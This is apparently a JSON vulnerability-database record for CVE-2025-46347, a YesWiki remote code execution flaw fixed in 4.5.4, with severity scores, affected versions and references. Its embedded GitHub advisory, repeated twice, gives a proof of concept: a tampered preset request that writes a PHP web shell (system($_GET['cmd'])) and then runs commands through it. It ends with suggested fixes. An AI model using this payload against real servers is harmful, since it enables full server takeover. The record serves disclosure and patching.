{"id":"CVE-2025-46347","aliases":["EUVD-2025-12614","GHSA-88xg-v53p-fpvf"],"status":"published","title":"YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki vulnerable to remote code execution. An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server, resulting in a full compromise of the server. This could potentially be performed unwittingly by a user. This issue has been patched in version 4.5.4.","severity":{"version":"4.0","score":5.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01048,"percentile":0.64511,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116"],"published":"2025-04-29T14:45:42Z","modified":"2026-10-28T02:30:56Z","fixes":[{"ecosystem":"Packagist","package":"yeswiki/yeswiki","fixed_in":["4.5.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.5.3"},{"fixed":"4.5.4"}]}]},{"source":"osv","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.4"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3"]}],"products":[{"vendor":"yeswiki","product":"yeswiki"}],"references":[{"url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-88xg-v53p-fpvf","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/YesWiki/yeswiki/commit/8fe5275a78dc7e0f9c242baa3cbac6b5ac1cc066","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46347","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-88xg-v53p-fpvf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/46xxx/CVE-2025-46347.json","tags":["advisory"]},{"url":"https://github.com/YesWiki/yeswiki","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-46347","title":"YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki vulnerable to remote code execution. An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server, resulting in a full compromise of the server. This could potentially be performed unwittingly by a user. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T17:11:05.404Z","modified":"2025-04-29T18:06:22.228Z","cvss":[{"version":"4.0","score":5.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P","level":"medium","assessor":"cna"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:32:36.706507Z"}],"euvd":[{"id":"EUVD-2025-12614","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki vulnerable to remote code execution. An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server, resulting in a full compromise of the server. This could potentially be performed unwittingly by a user. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T17:11:05Z","modified":"2025-04-29T18:06:22Z","cvss":[{"version":"4.0","score":5.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P","level":"medium"}],"updated_at":"2026-11-02T20:52:00.012701Z"}],"ghsa":[{"id":"GHSA-88xg-v53p-fpvf","title":"YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution","description":"### Summary\nAn arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. \n\nAll testing was performed on a local docker setup running the latest version of the application.\n\n### PoC\nProof of Concept\n\nNavigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. \n\n![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69)\n\n\nAfter clicking save, this request is made (most headers removed for clarity): \n\n```\nPOST /?api/templates/custom-presets/test.css HTTP/1.1\nHost: localhost:8085\n\nprimary-color=%230c5d6a\u0026secondary-color-1=%23d8604c\u0026secondary-color-2=%23d78958\u0026neutral-color=%234e5056\u0026neutral-soft-color=%2357575c\u0026neutral-light-color=%23f2f2f2\u0026main-text-fontsize=17px\u0026main-text-fontfamily=%22Nunito%22%2C+sans-serif\u0026main-title-fontfamily='Nunito'%2C+sans-serif\n```\n\nThis request writes the file `test.css` to disk with the contents (abbreviated)\n```\n:root {\n  --primary-color: #0c5d6a;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nTo exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. \n\ne.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`\n\nNow the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. \n\n\n```\n:root {\n  --primary-color: \u003c?php system($_GET['cmd']); ?\u003e;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nThen, simply visit the file with a `cmd` parameter included. \n\n```\nhttp://localhost:8085/custom/css-presets/pizzapower.php?cmd=id\n```\n\nAnd the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). \n\n```\n:root {\n  --primary-color: uid=501(yeswiki) gid=501 groups=501\n;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n![injection](https://github.com/user-attachments/assets/6567d500-23b9-4587-a166-3b49878446e7)\n\n### Impact\n\nFull compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. \n\n## Fixes\n\nAmongst others: \n\nRestrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.\nHarden server config: Disable PHP execution in user-writable directories","status":"published","published":"2025-04-29T14:45:42Z","modified":"2025-04-29T20:27:16Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:38:41.402125Z"}],"nvd":[{"id":"CVE-2025-46347","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki vulnerable to remote code execution. An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server, resulting in a full compromise of the server. This could potentially be performed unwittingly by a user. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T18:15:44.67Z","modified":"2026-06-17T09:26:16.73Z","cvss":[{"version":"4.0","score":5.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:11:02.570368Z"}],"osv":[{"id":"CVE-2025-46347","title":"YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution","description":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki vulnerable to remote code execution. An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server, resulting in a full compromise of the server. This could potentially be performed unwittingly by a user. This issue has been patched in version 4.5.4.","status":"published","published":"2025-04-29T17:11:05.404Z","modified":"2026-10-28T02:30:56.614078364Z","cvss":[{"version":"4.0","score":5.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P","level":"medium"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T15:44:49.707645Z"},{"id":"GHSA-88xg-v53p-fpvf","title":"YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution","description":"### Summary\nAn arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. \n\nAll testing was performed on a local docker setup running the latest version of the application.\n\n### PoC\nProof of Concept\n\nNavigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. \n\n![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69)\n\n\nAfter clicking save, this request is made (most headers removed for clarity): \n\n```\nPOST /?api/templates/custom-presets/test.css HTTP/1.1\nHost: localhost:8085\n\nprimary-color=%230c5d6a\u0026secondary-color-1=%23d8604c\u0026secondary-color-2=%23d78958\u0026neutral-color=%234e5056\u0026neutral-soft-color=%2357575c\u0026neutral-light-color=%23f2f2f2\u0026main-text-fontsize=17px\u0026main-text-fontfamily=%22Nunito%22%2C+sans-serif\u0026main-title-fontfamily='Nunito'%2C+sans-serif\n```\n\nThis request writes the file `test.css` to disk with the contents (abbreviated)\n```\n:root {\n  --primary-color: #0c5d6a;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nTo exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. \n\ne.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`\n\nNow the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. \n\n\n```\n:root {\n  --primary-color: \u003c?php system($_GET['cmd']); ?\u003e;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nThen, simply visit the file with a `cmd` parameter included. \n\n```\nhttp://localhost:8085/custom/css-presets/pizzapower.php?cmd=id\n```\n\nAnd the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). \n\n```\n:root {\n  --primary-color: uid=501(yeswiki) gid=501 groups=501\n;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n![injection](https://github.com/user-attachments/assets/6567d500-23b9-4587-a166-3b49878446e7)\n\n### Impact\n\nFull compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. \n\n## Fixes\n\nAmongst others: \n\nRestrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.\nHarden server config: Disable PHP execution in user-writable directories","status":"published","published":"2025-04-29T14:45:42Z","modified":"2026-09-10T03:50:23.626248021Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T15:46:42.077781Z"}]}}